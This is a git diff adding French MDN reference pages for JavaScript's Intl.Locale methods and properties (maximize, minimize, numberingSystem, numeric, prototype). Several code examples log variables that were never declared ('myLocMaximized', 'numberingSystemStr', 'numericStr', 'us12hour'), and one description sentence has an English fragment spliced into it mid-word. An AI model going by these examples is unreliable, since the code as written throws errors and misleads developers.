+let maLocMaximized = maLocale.maximize();
+
+// Affiche "fr-Latn-FR". Les composantes "Latn" et "FR" ont été ajoutées
+// car le français ne s'écrit qu'avec l'alphabet latin et est plus probablement parlé en France.
+console.log(maLocMaximized.baseName);
+
+// Affiche "fr-Latn-FR-u-ca-gregory-hc-h24".
+// On notera que les extensions (après "-u") restent inchangées.
+console.log(myLocMaximized.toString()); </pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="https://tc39.github.io/proposal-intl-locale/#sec-Intl.Locale.prototype.maximize">Proposition pour <code>Intl.Locale.prototype.maximize()</code></a></td>
+   <td></td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Intl.Locale.maximize")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Locale", "Intl.Locale")}}</li>
+ <li>{{jsxref("Locale/baseName", "Locale.baseName")}}</li>
+ <li><a href="https://www.unicode.org/reports/tr35/#Likely_Subtags">Spécification Unicode sur la vraisemblance entre composantes</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/locale/minimize/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/locale/minimize/index.html
new file mode 100644
index 0000000000..57549456bd
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/intl/locale/minimize/index.html
@@ -0,0 +1,80 @@
+---
+title: Intl.Locale.prototype.minimize()
+slug: Web/JavaScript/Reference/Objets_globaux/Intl/Locale/minimize
+tags:
+  - Internationalisation
+  - Intl
+  - JavaScript
+  - Locale
+  - Méthode
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Locale/minimize
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary">La méthode <strong><code>Intl.Locale.prototype.minimize()</code></strong> tente de retirer les informations qui auraient pu être ajoutée à une locale lors d'un appel à {{jsxref("Locale/maximize", "Locale.maximize()")}}. </span></p>
+
+<p>{{EmbedInteractiveExample("pages/js/intl-locale-prototype-minimize.html")}}</p>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><code><em>locale</em>.minimize()</code></pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une instance {{jsxref("Locale", "Locale")}} dont la propriété <code>baseName</code> renvoie le résultat de l'exécution de <a href="https://www.unicode.org/reports/tr35/#Likely_Subtags">l'algorithme de suppression des composantes probables</a> sur <code><em>locale.baseName</em></code>. </p>
+
+<h2 id="Description">Description</h2>
+
+<p>Cette méthode effectue l'opération inverse de {{jsxref("Locale/maximize", "maximize()")}}, en retirant les fragments de langue/script ou de région qui sont superflus. Ainsi, <code>"en-Latn"</code> pourra être minimisé en <code>"en"</code> car l'anglais s'écrit uniquement à l'aide de l'alphabet latin.</p>
+
+<p><code>minimize()</code> ne modifie pas les éventuelles extensions décrites dans la chaîne de locale (après le <code>"-u"</code>) ou via l'objet de configuration (elle ne modifie donc pas les valeurs de {{jsxref("Locale/hourCycle", "Locale.hourCycle")}}, {{jsxref("Locale/calendar", "Locale.calendar")}} et {{jsxref("Locale/numeric", "Locale.numeric")}}).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">let maLocale = new Intl.Locale("fr-Latn-FR", {hourCycle: "h24", calendar: "gregory"});
+console.log(maLocale.baseName); // Affiche "fr-Latn-FR"
+console.log(maLocale.toString()); // Affiche "fr-Latn-FR-u-ca-gregory-hc-h24"
+let maLocMinimized = maLocale.minimize();
+
+console.log(maLocMinimized.baseName);
+// Affiche "fr" car le français est écrit uniquement avec l'alphabet latin et
+// parlé le plus largement en France
+
+console.log(maLocMinimized.toString());
+// Affiche "fr-u-ca-gregory-hc-h24". On voit ici que les extensions
+// (décrites après "-u") restent inchangées.</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="https://tc39.github.io/proposal-intl-locale/#sec-Intl.Locale.prototype.minimize">Proposition pour <code>Intl.Locale.prototype.minimize()</code></a></td>
+   <td></td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Intl.Locale.minimize")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Locale", "Intl.Locale")}}</li>
+ <li>{{jsxref("Locale/baseName", "Intl.Locale.baseName")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/locale/numberingsystem/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/locale/numberingsystem/index.html
new file mode 100644
index 0000000000..076b671499
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/intl/locale/numberingsystem/index.html
@@ -0,0 +1,425 @@
+---
+title: Intl.Locale.prototype.numberingSystem
+slug: Web/JavaScript/Reference/Objets_globaux/Intl/Locale/numberingSystem
+tags:
+  - Internationalisation
+  - Intl
+  - JavaScript
+  - Locale
+  - Propriété
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Locale/numberingSystem
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary">La propriété <strong><code>Intl.Locale.prototype.numberingSystem</code></strong> est une propriété fournie par un accesseur qui renvoie le <a href="https://en.wikipedia.org/wiki/Numeral_system">système de numération</a> utilisée par la locale.</span></p>
+
+<h2 id="Description">Description</h2>
+
+<p>Un système de numération est un système qui permet d'exprimer les nombres. La propriété <code>numberingSystem</code> permet de connaître le système de numérati Unicode. A table of the standard Unicode numeral systems can be seen belowon de la locale. Les valeurs qui peuvent être fournies par cette propriété sont standardisées par Unicode.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Valeur</th>
+   <th>Description</th>
+  </tr>
+  <tr>
+   <td><code>adlm</code></td>
+   <td>Chiffres adlams</td>
+  </tr>
+  <tr>
+   <td><code>ahom</code></td>
+   <td>Chiffres ahoms</td>
+  </tr>
+  <tr>
+   <td><code>arab</code></td>
+   <td>Chiffres arabes</td>
+  </tr>
+  <tr>
+   <td><code>arabext</code></td>
+   <td>Chiffres arabes étendus</td>
+  </tr>
+  <tr>
+   <td><code>armn</code></td>
+   <td>Numération arménienne majuscule (algorithmique)</td>
+  </tr>
+  <tr>
+   <td><code>armnlow</code></td>
+   <td>Numération arménienne minuscule (algorithmique)</td>
+  </tr>
+  <tr>
+   <td><code>bali</code></td>
+   <td>Chiffres balinais</td>
+  </tr>
+  <tr>
+   <td><code>beng</code></td>
+   <td>Chiffres bengalis</td>
+  </tr>
+  <tr>
+   <td><code>bhks</code></td>
+   <td>Chiffres bhaiksuki</td>
+  </tr>
+  <tr>
+   <td><code>brah</code></td>
+   <td>Chiffres brahmis</td>
+  </tr>
+  <tr>
+   <td><code>cakm</code></td>
+   <td>Chiffres chakmas</td>
+  </tr>
+  <tr>
+   <td><code>cham</code></td>
+   <td>Chiffres chams</td>
+  </tr>
+  <tr>
+   <td><code>cyrl</code></td>
+   <td>Numération cyrillique (algorithmique)</td>
+  </tr>
+  <tr>
+   <td><code>deva</code></td>
+   <td>Chiffres devanagaris</td>
+  </tr>
+  <tr>
+   <td><code>ethi</code></td>
+   <td>Numération éthiopienne (algorithmique)</td>
+  </tr>
+  <tr>
+   <td><code>finance</code></td>
+   <td>Numération financière (peut être algorithmique)</td>
+  </tr>
+  <tr>
+   <td><code>fullwide</code></td>
+   <td>Chiffres à pleine chasse</td>
+  </tr>
+  <tr>
+   <td><code>geor</code></td>
+   <td>Numération géorgienne (algorithmique)</td>
+  </tr>
+  <tr>
+   <td><code>gong</code></td>
+   <td>Chiffres Gunjala Gondis</td>
+  </tr>
+  <tr>
+   <td><code>gonm</code></td>
+   <td>Chiffres Masaram Gondis</td>
+  </tr>
+  <tr>
+   <td><code>grek</code></td>
+   <td>Numération greque majuscule (algorithmique)</td>
+  </tr>
+  <tr>
+   <td><code>greklow</code></td>
+   <td>Numération greque minuscule (algorithmique)</td>
+  </tr>
+  <tr>
+   <td><code>gujr</code></td>
+   <td>Chiffres Gujaratis</td>
+  </tr>
+  <tr>
+   <td><code>guru</code></td>
+   <td>Chiffres Gurmukhis</td>
+  </tr>
+  <tr>
+   <td><code>hanidays</code></td>
+   <td>Numération du jour du mois avec caractère Han (utilisée avec les calendriers lunaires ou traditionnels)</td>
+  </tr>
+  <tr>
+   <td><code>hanidec</code></td>
+   <td>Système décimal positionnel utilisant les idéographes des nombres chinois comme chiffres</td>
+  </tr>
+  <tr>
+   <td><code>hans</code></td>
+   <td>Numération chinoise simplifiée (algorithmique)</td>
+  </tr>
+  <tr>
+   <td><code>hansfin</code></td>
+   <td>Numération chinoise simplifiée financière (algorithmique)</td>
+  </tr>
+  <tr>
+   <td><code>hant</code></td>
+   <td>Numération chinoise traditionnelle (algorithmique)</td>
+  </tr>
+  <tr>
+   <td><code>hantfin</code></td>
+   <td>Numération chinoise traditionnelle financière (algorithmique)</td>
+  </tr>
+  <tr>
+   <td><code>hebr</code></td>
+   <td>Numération hébraïque (algorithmique)</td>
+  </tr>
+  <tr>
+   <td><code>hmng</code></td>
+   <td>Chiffres Pahawh Hmongs</td>
+  </tr>
+  <tr>
+   <td><code>hmnp</code></td>
+   <td>Chiffres Nyiakeng Puachue Hmongs</td>
+  </tr>
+  <tr>
+   <td><code>java</code></td>
+   <td>Chiffres javanais</td>
+  </tr>
+  <tr>
+   <td><code>jpan</code></td>
+   <td>Numération japonaise (algorithmique)</td>
+  </tr>
+  <tr>
+   <td><code>jpanfin</code></td>
+   <td>Numération japonaise financière (algorithmique)</td>
+  </tr>
+  <tr>
+   <td><code>jpanyear</code></td>
+   <td>Numération basée sur la première année Gannen du calendrier japonais</td>
+  </tr>
+  <tr>
+   <td><code>kali</code></td>
+   <td>Chiffres Kayah Lis</td>
+  </tr>
+  <tr>
+   <td><code>khmr</code></td>
+   <td>Chiffres Khmers</td>
+  </tr>
+  <tr>
+   <td><code>knda</code></td>
+   <td>Chiffres Kannadas</td>
+  </tr>
+  <tr>
+   <td><code>lana</code></td>
+   <td>Chiffres Tai Tham Hora séculiers</td>
+  </tr>
+  <tr>
+   <td><code>lanatham</code></td>
+   <td>Chiffres Tai Tham Tham ecclésiastiques</td>
+  </tr>
+  <tr>
+   <td><code>laoo</code></td>
+   <td>Chiffres laotien</td>
+  </tr>
+  <tr>
+   <td><code>latn</code></td>
+   <td>Chiffres latins</td>
+  </tr>
+  <tr>
+   <td><code>lepc</code></td>
+   <td>Chiffres Lepchas</td>
+  </tr>
+  <tr>
+   <td><code>limb</code></td>
+   <td>Chiffres Limbus</td>
+  </tr>
+  <tr>
+   <td><code>mathbold</code></td>
+   <td>Chiffres mathématiques en gras</td>
+  </tr>
+  <tr>
+   <td><code>mathdbl</code></td>
+   <td>Chiffres mathématiques barrés en double</td>
+  </tr>
+  <tr>
+   <td><code>mathmono</code></td>
+   <td>Chiffres mathématiques à chasse fixe</td>
+  </tr>
+  <tr>
+   <td><code>mathsanb</code></td>
+   <td>Chiffres mathématiques en gras sans empattements</td>
+  </tr>
+  <tr>
+   <td><code>mathsans</code></td>
+   <td>Chiffres mathématiques sans empattements</td>
+  </tr>
+  <tr>
+   <td><code>mlym</code></td>
+   <td>Chiffres Malayalams</td>
+  </tr>
+  <tr>
+   <td><code>modi</code></td>
+   <td>Chiffres Modis</td>
+  </tr>
+  <tr>
+   <td><code>mong</code></td>
+   <td>Chiffres mongols</td>
+  </tr>
+  <tr>
+   <td><code>mroo</code></td>
+   <td>Chiffres Mros</td>
+  </tr>
+  <tr>
+   <td><code>mtei</code></td>
+   <td>Chiffres Meetei Mayeks</td>
+  </tr>
+  <tr>
+   <td><code>mymr</code></td>
+   <td>Chiffres Myanmars</td>
+  </tr>
+  <tr>
+   <td><code>mymrshan</code></td>
+   <td>Chiffres Myanmar Shans</td>
+  </tr>
+  <tr>
+   <td><code>mymrtlng</code></td>
+   <td>Chiffres Myanmar Tai Laings</td>
+  </tr>
+  <tr>
+   <td><code>native</code></td>
+   <td>Chiffres natifs</td>
+  </tr>
+  <tr>
+   <td><code>newa</code></td>
+   <td>Chiffres Newas</td>
+  </tr>
+  <tr>
+   <td><code>nkoo</code></td>
+   <td>Chiffres N'Kos</td>
+  </tr>
+  <tr>
+   <td><code>olck</code></td>
+   <td>Chiffres Ol Chikis</td>
+  </tr>
+  <tr>
+   <td><code>orya</code></td>
+   <td>Chiffres Oriyas</td>
+  </tr>
+  <tr>
+   <td><code>osma</code></td>
+   <td>Chiffres Osmanyas</td>
+  </tr>
+  <tr>
+   <td><code>rohg</code></td>
+   <td>Chiffres Hanifi Rohingyas</td>
+  </tr>
+  <tr>
+   <td><code>roman</code></td>
+   <td>Numération romaine majuscule (algorithmique)</td>
+  </tr>
+  <tr>
+   <td><code>romanlow</code></td>
+   <td>Numération romaine minuscule (algorithmique)</td>
+  </tr>
+  <tr>
+   <td><code>saur</code></td>
+   <td>Chiffres Saurashtras</td>
+  </tr>
+  <tr>
+   <td><code>shrd</code></td>
+   <td>Chiffres Sharadas</td>
+  </tr>
+  <tr>
+   <td><code>sind</code></td>
+   <td>Chiffres Khudawadis</td>
+  </tr>
+  <tr>
+   <td><code>sinh</code></td>
+   <td>Chiffres Sinhala Liths</td>
+  </tr>
+  <tr>
+   <td><code>sora</code></td>
+   <td>Chiffres Sora_Sompengs</td>
+  </tr>
+  <tr>
+   <td><code>sund</code></td>
+   <td>Chiffres soudanais</td>
+  </tr>
+  <tr>
+   <td><code>takr</code></td>
+   <td>Chiffres Takris</td>
+  </tr>
+  <tr>
+   <td><code>talu</code></td>
+   <td>Chiffres New Tai Lues</td>
+  </tr>
+  <tr>
+   <td><code>taml</code></td>
+   <td>Numération tamoule (algorithmique=</td>
+  </tr>
+  <tr>
+   <td><code>tamldec</code></td>
+   <td>Chiffres tamouls décimaux modernes</td>
+  </tr>
+  <tr>
+   <td><code>telu</code></td>
+   <td>Chiffres Telugus</td>
+  </tr>
+  <tr>
+   <td><code>thai</code></td>
+   <td>Chiffres thaïs</td>
+  </tr>
+  <tr>
+   <td><code>tirh</code></td>
+   <td>Chiffres Tirhutas</td>
+  </tr>
+  <tr>
+   <td><code>tibt</code></td>
+   <td>Chiffres tibétains</td>
+  </tr>
+  <tr>
+   <td><code>traditio</code></td>
+   <td>Numération traditionnelle (peut être algorithmique)</td>
+  </tr>
+  <tr>
+   <td><code>vaii</code></td>
+   <td>Chiffres Vais</td>
+  </tr>
+  <tr>
+   <td><code>wara</code></td>
+   <td>Chiffres Warang Citis</td>
+  </tr>
+  <tr>
+   <td><code>wcho</code></td>
+   <td>Chiffres Wanchos</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Définir_la_valeur_de_numberingSystem_grâce_à_la_chaîne_décrivant_la_locale">Définir la valeur de <code>numberingSystem</code> grâce à la chaîne décrivant la locale</h3>
+
+<p>D'après <a href="https://www.unicode.org/reports/tr35/" rel="noopener">la spécification Unicode sur les chaînes décrivant les locales</a>, l'extension décrivant le système de numération est indiquée par la clé <code>nu</code>.</p>
+
+<p>Le constructeur <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Locale">Intl.locale</a></code> prend comme premier argument une chaîne de caractères décrivant la locale. Aussi, on peut indiquer le système de numération après les composantes principales de la chaîne de caractères en lui ajoutant un <code>"-u"</code> (indiquant la présence d'une extension), suivi d'un <code>"-nu"</code> (indiquant que l'extension qui sera indiquée décrit le système de numération, suivi de la valeur voulue pour le système de numération.</p>
+
+<pre class="brush: js">let numberingSystemViaStr = new Intl.Locale("fr-Latn-FR-u-nu-mong");
+console.log(numberingSystemStr.numberingSystem);
+// affichera "mong" dans la console</pre>
+
+<h3 id="Définir_la_valeur_de_numberingSystem_grâce_à_un_objet_de_configuration">Définir la valeur de <code>numberingSystem</code> grâce à un objet de configuration</h3>
+
+<p>Le constructeur <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Locale" title="The Intl.Locale constructor is a standard built-in property of the Intl object."><code>Intl.Locale</code></a> possède un deuxième argument, optionnel, qui est un objet permettant de configurer la locale. Les propriétés de cet objet sont utilisées comme extensions pour la locale ; les clés des propriétés sont les noms des extensions et leurs valeurs sont celles utilisées pour chaque extension. On peut donc utiliser la propriété <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">numberingSystem</span></font> sur cet objet afin de définir le système de numération à utiliser pour cette locale.</p>
+
+<pre class="brush: js">let numberingSystemViaObj= new Intl.Locale("en-Latn-US", {numberingSystem: "latn"});
+console.log(us12hour.numberingSystem);
+// affichera "latn" dans la console
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="https://tc39.github.io/proposal-intl-locale/#sec-Intl.Locale.prototype.numberingSystem">Proposition pour <code>Intl.Locale</code></a></td>
+   <td>Proposition de niveau 3</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<div>{{Compat("javascript.builtins.Intl.Locale.numberingSystem")}}</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Locale", "Intl.Locale")}}</li>
+ <li><a href="https://github.com/unicode-org/cldr/blob/master/common/supplemental/numberingSystems.xml">Détails sur les systèmes de numération dans le standard Unicode</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/locale/numeric/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/locale/numeric/index.html
new file mode 100644
index 0000000000..5b3c357b09
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/intl/locale/numeric/index.html
@@ -0,0 +1,69 @@
+---
+title: Intl.Locale.prototype.numeric
+slug: Web/JavaScript/Reference/Objets_globaux/Intl/Locale/numeric
+tags:
+  - Internationalisation
+  - Intl
+  - JavaScript
+  - Locale
+  - Propriété
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Locale/numeric
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary">La propriété <strong><code>Intl.Locale.prototype.numeric</code></strong> est une propriété fournie par un accesseur et qui indique si la locale possède une collation spécifique pour les caractères numériques (la collation étant la méthode qui permet d'ordonner des chaînes de caractères entre elles).</span></p>
+
+<h2 id="Description">Description</h2>
+
+<p>À l'instar de {{jsxref("Locale.caseFirst", "Intl.Locale.caseFirst")}}, <code>numeric</code> représente une modification des règles de collation utilisée par la locale. <code>numeric</code> est un booléen (<code>true</code> ou <code>false</code>). Lorsque cette propriété vaut <code>false</code>, il n'y a pas de gestion particulière des chiffres et si cette propriété vaut <code>true</code>, cela indique que les caractères numériques sont pris en compte lors de la collation des chaînes. Ainsi, les séquences de chiffres décimaux seront comparés comme des nombres. Ainsi, la chaîne de caractères <code>"A-21"</code> sera considérée inférieure à <code>"A-123"</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Définir_numeric_grâce_à_la_chaîne_de_description_de_la_locale">Définir <code>numeric</code> grâce à la chaîne de description de la locale</h3>
+
+<p>Selon <a href="https://www.unicode.org/reports/tr35/" rel="noopener">la spécification Unicode sur les chaînes de caractères décrivant les locales</a>, les valeurs de <code>numeric</code> sont associées à la clé <code>kn</code>. Pour utiliser cette clé dans la chaîne de description de la locale (le premier argument de <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Locale" title="The Intl.Locale constructor is a standard built-in property of the Intl object."><code>Intl.Locale</code></a>), après la chaîne de base, on pourra ajouter un suffixe avec <code>"-u"</code> afin d'indiquer la présence d'une extension, puis <code>"-kn"</code> afin de préciser l'extension en question et enfin la valeur souhaitée pour cette extension. Si on veut que <code>numeric</code> soit <code>true</code>, il suffit d'ajouter la clé <code>kn</code>. Pour indiquer la valeur <code>false</code>, il faudra explicitement ajouter <code>"-false"</code>.</p>
+
+<pre class="brush: js">let numericViaStr = new Intl.Locale("fr-Latn-FR-u-kn-false");
+console.log(numericStr.numeric);
+// Affichera "false" dans la console</pre>
+
+<h3 id="Définir_numeric_via_lobjet_de_configuration_de_linstance">Définir <code>numeric</code> via l'objet de configuration de l'instance</h3>
+
+<p>Le constructeur <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Locale" title="The Intl.Locale constructor is a standard built-in property of the Intl object."><code>Intl.Locale</code></a> possède un deuxième argument, optionnel, qui est un objet permettant de configurer la locale. Les propriétés de cet objet sont utilisées comme extensions pour la locale ; les clés des propriétés sont les noms des extensions et leurs valeurs sont celles utilisées pour chaque extension. On peut donc utiliser la propriété <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">numeric</span></font> sur cet objet afin de définir le système de numération à utiliser pour cette locale.</p>
+
+<pre class="brush: js">let numericViaObj= new Intl.Locale("en-Latn-US", {numeric: true});
+console.log(us12hour.numeric);
+// Affichera "true" dans la console
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="https://tc39.github.io/proposal-intl-locale/#sec-Intl.Locale.prototype.numeric">Proposition pour <code>Intl.Locale</code></a></td>
+   <td>Proposition de niveau 3</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<div>{{Compat("javascript.builtins.Intl.Locale.numeric")}}</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Locale", "Intl.Locale")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/locale/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/locale/prototype/index.html
new file mode 100644
index 0000000000..d20ff89191
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/intl/locale/prototype/index.html
@@ -0,0 +1,90 @@
+---
+title: Intl.Locale.prototype
+slug: Web/JavaScript/Reference/Objets_globaux/Intl/Locale/prototype
+tags:
+  - Internationalisation
+  - Intl
+  - JavaScript
+  - Locale
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Locale
+---
+<p>{{JSRef}}</p>
+
+<p><span class="seoSummary">La propriété <strong><code>Intl.Locale.prototype</code></strong> représente le prototype pour le constructeur {{jsxref("Locale", "Intl.Locale")}}.</span></p>
+
+<p>{{js_property_attributes(0, 0, 0)}}</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Voir la page {{jsxref("Locale")}} pour en savoir plus sur les instances <code>Intl.Locale</code>.</p>
+
+<p>Les instances de {{jsxref("Locale", "Intl.Locale")}} héritent de <code>Intl.Locale.prototype</code>. Les modifications apportées au prototype sont héritées par l'ensemble des instances {{jsxref("Locale", "Intl.Locale")}}.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt><code>{{jsxref("Locale/baseName", "Intl.Locale.prototype.baseName")}}</code></dt>
+ <dd>Renvoie un extrait de la chaîne de caractères représentant l'objet <code>Locale</code>. Cet extrait contient les informations essentielles à propos de l'objet <code>Locale</code>.</dd>
+ <dt><code>{{jsxref("Locale/calendar", "Intl.Locale.prototype.calendar")}}</code></dt>
+ <dd>Renvoie le type de calendrier utilisé par l'instance de <code>Locale</code>.</dd>
+ <dt><code>{{jsxref("Locale/collation", "Intl.Locale.prototype.collation")}}</code></dt>
+ <dd>Renvoie le <a href="https://www.unicode.org/reports/tr35/tr35-collation.html#CLDR_Collation">type de collation</a> pour l'instance de <code>Locale</code> courante. La collation est la méthode qui permet d'ordonner des chaînes de caractères en fonction des règles de la locale.</dd>
+ <dt><code>{{jsxref("Locale/hourCycle", "Intl.Locale.prototype.hourCycle")}}</code></dt>
+ <dd>Renvoie la convention pour le format des heures utilisée par la locale courante.</dd>
+ <dt><code>{{jsxref("Locale/caseFirst", "Intl.Locale.prototype.caseFirst")}}</code></dt>
+ <dd>Renvoie si la casse est prise en compte par la locale pour ses règles de collation (celles qui permettent d'ordonner des chaînes de caractères entre elles).</dd>
+ <dt><code>{{jsxref("Locale/numeric", "Intl.Locale.prototype.numeric")}}</code></dt>
+ <dd>Indique si la locale possède une collation spécifique pour les caractères numériques (la collation étant la méthode qui permet d'ordonner des chaînes de caractères entre elles).</dd>
+ <dt><code>{{jsxref("Locale/numberingSystem", "Intl.Locale.prototype.numberingSystem")}}</code></dt>
+ <dd>Renvoie le <a href="https://en.wikipedia.org/wiki/Numeral_system">système de numération</a> utilisée par la locale.</dd>
+ <dt><code>{{jsxref("Locale/language", "Intl.Locale.prototype.language")}}</code></dt>
+ <dd>Renvoie la langue associée à la locale.</dd>
+ <dt><code>{{jsxref("Locale/script", "Intl.Locale.prototype.script")}}</code></dt>
+ <dd>Renvoie le script utilisé pour l'écriture d'une langue donnée pour la locale courante.</dd>
+ <dt><code>{{jsxref("Locale/region", "Intl.Locale.prototype.region")}}</code></dt>
+ <dd>Renvoie la région du monde (il s'agit généralement d'un pays) associée à la locale courante.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt><code>{{jsxref("Locale/minimize", "Intl.Locale.prototype.minimize()")}}</code></dt>
+ <dd>Cette méthode tente de retirer les informations qui auraient pu être ajoutée à une locale lors d'un appel à {{jsxref("Locale/maximize", "Locale.maximize()")}}.</dd>
+ <dt><code>{{jsxref("Locale/maximize", "Intl.Locale.prototype.maximize()")}}</code></dt>
+ <dd>Cette méthode permet d'obtenir les valeurs les plus vraisemblantes pour la langue, le script et la région de la locale en fonction des valeurs existantes.</dd>
+ <dt><code>{{jsxref("Locale/toString", "Intl.Locale.prototype.toString()")}}</code></dt>
+ <dd>Cette méthode renvoie <a href="https://www.unicode.org/reports/tr35/#Unicode_locale_identifier">l'identifiant de locale complet</a> pour la locale courante.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="https://tc39.github.io/proposal-intl-locale/#sec-Intl.Locale.prototype">Proposition pour <code>Intl.Locale.prototype</code></a></td>
+   <td>Proposition de niveau 3</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Intl.Locale.prototype")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Locale", "Intl.Locale")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/locale/region/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/locale/region/index.html
new file mode 100644
index 0000000000..c9af9b9ac3
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/intl/locale/region/index.html
@@ -0,0 +1,71 @@
+---
+title: Intl.Locale.prototype.region
+slug: Web/JavaScript/Reference/Objets_globaux/Intl/Locale/region
+tags:
+  - Internationalisation
+  - Intl
+  - JavaScript
+  - Locale
+  - Propriété
+  - Reference
